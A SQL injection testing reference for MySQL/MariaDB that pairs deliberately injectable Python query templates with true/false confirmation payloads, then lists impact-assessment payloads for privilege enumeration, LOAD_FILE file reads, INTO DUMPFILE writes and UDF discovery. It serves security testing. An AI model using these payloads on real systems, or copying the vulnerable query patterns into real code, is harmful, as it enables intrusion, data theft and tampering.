Testing
MySQL injection-context testing
The injection context is the exact position occupied by input in the source query. A numeric expression, quoted string, ORDER BY expression, and LIMIT fragment accept different SQL grammar. Source review reveals that position directly; without source access, paired controls can identify it from application behavior.
Each example supplies two syntactically valid MySQL/MariaDB inputs that differ only in one controlled result. A repeatable difference between the two responses confirms that the input changes SQL evaluation. A database error by itself proves only that malformed input reached some error path.
Numeric predicate
This pattern also covers numeric expressions inside WHERE, HAVING, and ON predicates.
query = f"SELECT id, name FROM items WHERE id = {user_input}"1 AND 1=1
1 AND 1=2The first control returns row 1; the second returns no rows.
Quoted-string predicate
query = f"SELECT id, username FROM users WHERE username = '{user_input}'"maria' AND 1=1-- -
maria' AND 1=2-- -The first control preserves the maria row and the second removes it. MySQL requires whitespace after --; the space before the final dash satisfies that rule and consumes the source code’s closing quote.
LIKE predicate
query = f"SELECT id, name FROM items WHERE name LIKE '%{user_input}%'"%' AND 1=1-- -
%' AND 1=2-- -The first control leaves a match-all LIKE '%%' predicate followed by a true condition; the second makes the predicate false.
ORDER BY expression
query = f"SELECT id, name, count FROM items ORDER BY {user_input}"CASE WHEN 1=1 THEN count ELSE id END
CASE WHEN 1=2 THEN count ELSE id ENDThe first control sorts by count; the second sorts by id. Both branches use compatible numeric types and produce a deterministic comparison.
GROUP BY expression
query = f"SELECT COUNT(*) FROM items GROUP BY {user_input}"CASE WHEN 1=1 THEN category ELSE name END
CASE WHEN 1=2 THEN category ELSE name ENDWith repeated categories and unique names, the first control returns category-sized groups and the second returns one group per name.
UNION SELECT
query = f"SELECT id, name FROM items WHERE id = {user_input}"-1 UNION SELECT NULL,'sql-test'-- -
-1The first control adds a visible sql-test row and the second returns no rows. This source query has two output columns; a different query requires matching its column count and compatible MySQL/MariaDB types.
LIMIT fragment
MySQL accepts literal row-count and offset terms in this position rather than a general CASE expression.
query = f"SELECT id, name FROM items ORDER BY id LIMIT {user_input}"0,1
1,1The first control returns the first ordered row; the second supplies an offset and returns the next row. Supplying two grammar terms where the source expects one confirms raw clause interpolation.
Writable value expression
Use only a disposable lab row because both controls intentionally update data.
update_query = f"UPDATE items SET count = {user_input} WHERE id = 1"
insert_query = f"INSERT INTO items (count) VALUES ({user_input})"CASE WHEN 1=1 THEN 7 ELSE 8 END
CASE WHEN 1=2 THEN 7 ELSE 8 ENDReading the written row back shows 7 for the first control and 8 for the second.
INSERT ... ON DUPLICATE KEY UPDATE can turn an injectable INSERT into an update primitive. When the inserted row collides with an existing PRIMARY KEY or UNIQUE value, MySQL updates the matching row using the assignments in the appended clause. Control over those assignments can therefore overwrite existing row values, including credential or authorization fields.Dynamic SELECT expression
query = f"SELECT {user_input} FROM users ORDER BY id"CASE WHEN 1=1 THEN username ELSE CAST(id AS CHAR) END
CASE WHEN 1=2 THEN username ELSE CAST(id AS CHAR) ENDThe returned values switch between username and the text form of id. A strict allowlist of column names prevents this expression context from being injectable.
Time-based confirmation
query = f"SELECT id, name FROM items WHERE id = {user_input}"1 AND IF(1=1,SLEEP(5),0)=0
1 AND IF(1=2,SLEEP(5),0)=0Both controls preserve row 1. The first control delays the response by approximately five seconds; the second returns without the delay.
Impact assessment
These checks follow manual confirmation and determine the privileges and server-side primitives exposed by the injection. CURRENT_USER() identifies the authenticated MySQL account used for privilege checks. USER() identifies the client-provided account and host; neither value identifies the operating-system account running the MySQL process.
UNION / in-band
The following payloads use the two-column UNION SELECT context shown above. The visible text column returns the database identity, server version, operating system, file restriction, and loadable-function directory.
-1 UNION SELECT NULL,CURRENT_USER()-- -
-1 UNION SELECT NULL,USER()-- -
-1 UNION SELECT NULL,VERSION()-- -
-1 UNION SELECT NULL,@@version_compile_os-- -
-1 UNION SELECT NULL,COALESCE(@@secure_file_priv,'NULL')-- -
-1 UNION SELECT NULL,@@plugin_dir-- -Complete statement execution can return the grants assigned to the current account:
SHOW GRANTS FOR CURRENT_USER();SHOW GRANTS is a statement rather than a scalar expression, so it cannot replace a visible UNION SELECT column.
A visible non-NULL result from LOAD_FILE() confirms server-side file read for the tested path:
-1 UNION SELECT NULL,LOAD_FILE('<ABSOLUTE_FILE_PATH>')-- -A NULL result does not establish that file read is unavailable. The same result can be caused by a missing FILE privilege, an unreadable or nonexistent file, a secure_file_priv restriction, or the max_allowed_packet limit.
File write requires a statement context that accepts INTO DUMPFILE, a new destination path, the FILE privilege, an allowed secure_file_priv path, and operating-system write access for the MySQL process.
SELECT 'sql-write-test' INTO DUMPFILE '<NEW_ABSOLUTE_FILE_PATH>';Reading the new file back confirms the write:
-1 UNION SELECT NULL,LOAD_FILE('<NEW_ABSOLUTE_FILE_PATH>')-- -@@plugin_dir identifies the directory used for loadable-function libraries. Existing user-defined functions and their libraries can be returned in-band:
-1 UNION SELECT NULL,CONCAT(UDF_NAME,':',UDF_LIBRARY) FROM performance_schema.user_defined_functions-- -Knowledge of @@plugin_dir alone does not confirm that a new function can be loaded. CREATE FUNCTION ... SONAME also requires a compatible library in that directory and INSERT access to the mysql system schema.
Boolean-blind
Scalar environment values can be passed to the existing boolean-blind extraction loop:
SELECT CURRENT_USER()
SELECT USER()
SELECT VERSION()
SELECT @@version_compile_os
SELECT @@secure_file_priv
SELECT @@plugin_dir
SELECT GROUP_CONCAT(CONCAT(UDF_NAME, ':', UDF_LIBRARY)) FROM performance_schema.user_defined_functionsDirect predicates confirm individual capabilities without dumping the complete value:
LOAD_FILE('<ABSOLUTE_FILE_PATH>') IS NOT NULL
LOAD_FILE('<NEW_ABSOLUTE_FILE_PATH>') = 'sql-write-test'
(SELECT COUNT(*) FROM performance_schema.user_defined_functions) > 0The file-write predicate is evaluated after an INTO DUMPFILE write attempt. The final predicate establishes that at least one loadable function is installed; it does not establish permission to create another one.
Time-based blind
The scalar queries from the boolean-blind checks can also be passed to the existing time-based extraction loop. Direct capability predicates are converted into conditional delays:
1 AND IF(LOAD_FILE('<ABSOLUTE_FILE_PATH>') IS NOT NULL,SLEEP(5),0)=0
1 AND IF(LOAD_FILE('<NEW_ABSOLUTE_FILE_PATH>')='sql-write-test',SLEEP(5),0)=0
1 AND IF((SELECT COUNT(*) FROM performance_schema.user_defined_functions)>0,SLEEP(5),0)=0A delayed response represents a true predicate. Each check requires a matching false control with the same SLEEP(5) expression before interpreting the timing difference.
Find by: mysql, mariadb, sql injection testing, source review, true false control, time based control, sleep, where, having, on, quoted string, like, order by, group by, union select, limit offset, insert update value, dynamic select, exploitation checks, current user, grants, secure file priv, load file, dumpfile, plugin dir, user defined function, udf